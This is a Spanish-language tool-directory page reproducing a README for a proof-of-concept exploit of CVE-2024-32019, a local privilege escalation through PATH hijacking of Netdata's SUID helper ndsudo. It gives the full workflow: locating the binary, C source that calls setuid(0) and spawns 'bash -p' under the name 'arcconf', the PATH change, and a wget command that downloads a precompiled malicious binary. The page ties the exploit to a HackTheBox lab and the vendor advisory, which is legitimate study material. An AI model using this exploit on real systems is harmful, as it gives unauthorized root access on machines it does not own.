Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-32019-POC — Netdata ndsudo flujo de trabajo de escalada de privilegios local y POC (CVE-2024-32019) | Kitploit
Herramientas/GitHubGitHub/juanbelin/cve-2024-32019-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Netdata ndsudo flujo de trabajo de escalada de privilegios local y POC (CVE-2024-32019)

Ver Repositorio
4hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-32019-POC

Workflow de escalada de privilegios local ndsudo de Netdata y POC (CVE-2024-32019)

  • Workflow
  • Exploit automático
  • Recursos

Workflow

[!TIP] Por favor, lea

Netdata es una herramienta que proporciona monitoreo de aplicaciones y sistemas, se ejecuta en el puerto 19999, fácil de encontrar:

test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

Esta vulnerabilidad (CVE-2024-32019) afecta a las siguientes versiones: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Podemos hacer una petición para conocer la versión en la cabecera de respuesta:

CVE-2024-32019-1

El exploit ocurre al aprovechar un PATH Hijacking de uno de sus plugins, ndsudo que a menudo se encuentra en /opt/netdata/usr/libexec/netdata/ y que tiene SUID.

test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

Podemos ver qué podemos hacer usando --help

$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

Como podemos ver, dado que el script contiene varios comandos para elegir que buscarán un ejecutable, podemos aprovechar esto para crear nuestro propio ejecutable con el nombre de uno de los ejecutables dentro de una ruta que podamos agregar a la variable de entorno PATH.

Netdata usa C, en consecuencia, tenemos que hacer nuestro script en C y compilarlo.

CVE-2024-32019
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
gcc arcconf.c -o arcconf

Entonces, como se discutió anteriormente, agregamos la ruta del script al $PATH

test@test:/tmp$ PATH=/tmp:$PATH

Finalmente, simplemente ejecutamos el comando que apunta a nuestro ejecutable malicioso (arcconf-pd-info -> arcconf) y nos dará un shell privilegiado.

test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

Exploit automático

Puede descargar el script malicioso C ya compilado que le dará una bash como root, como se mencionó en el ejemplo anterior:

wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
mv arcconf /tmp #Si su objetivo tiene conectividad a Internet

scp ./arcconf test@test:/tmp/arcconf #Si su objetivo no tiene conectividad a Internet
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #La ruta de ndsudo puede cambiar

Recursos

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

Descargar herramienta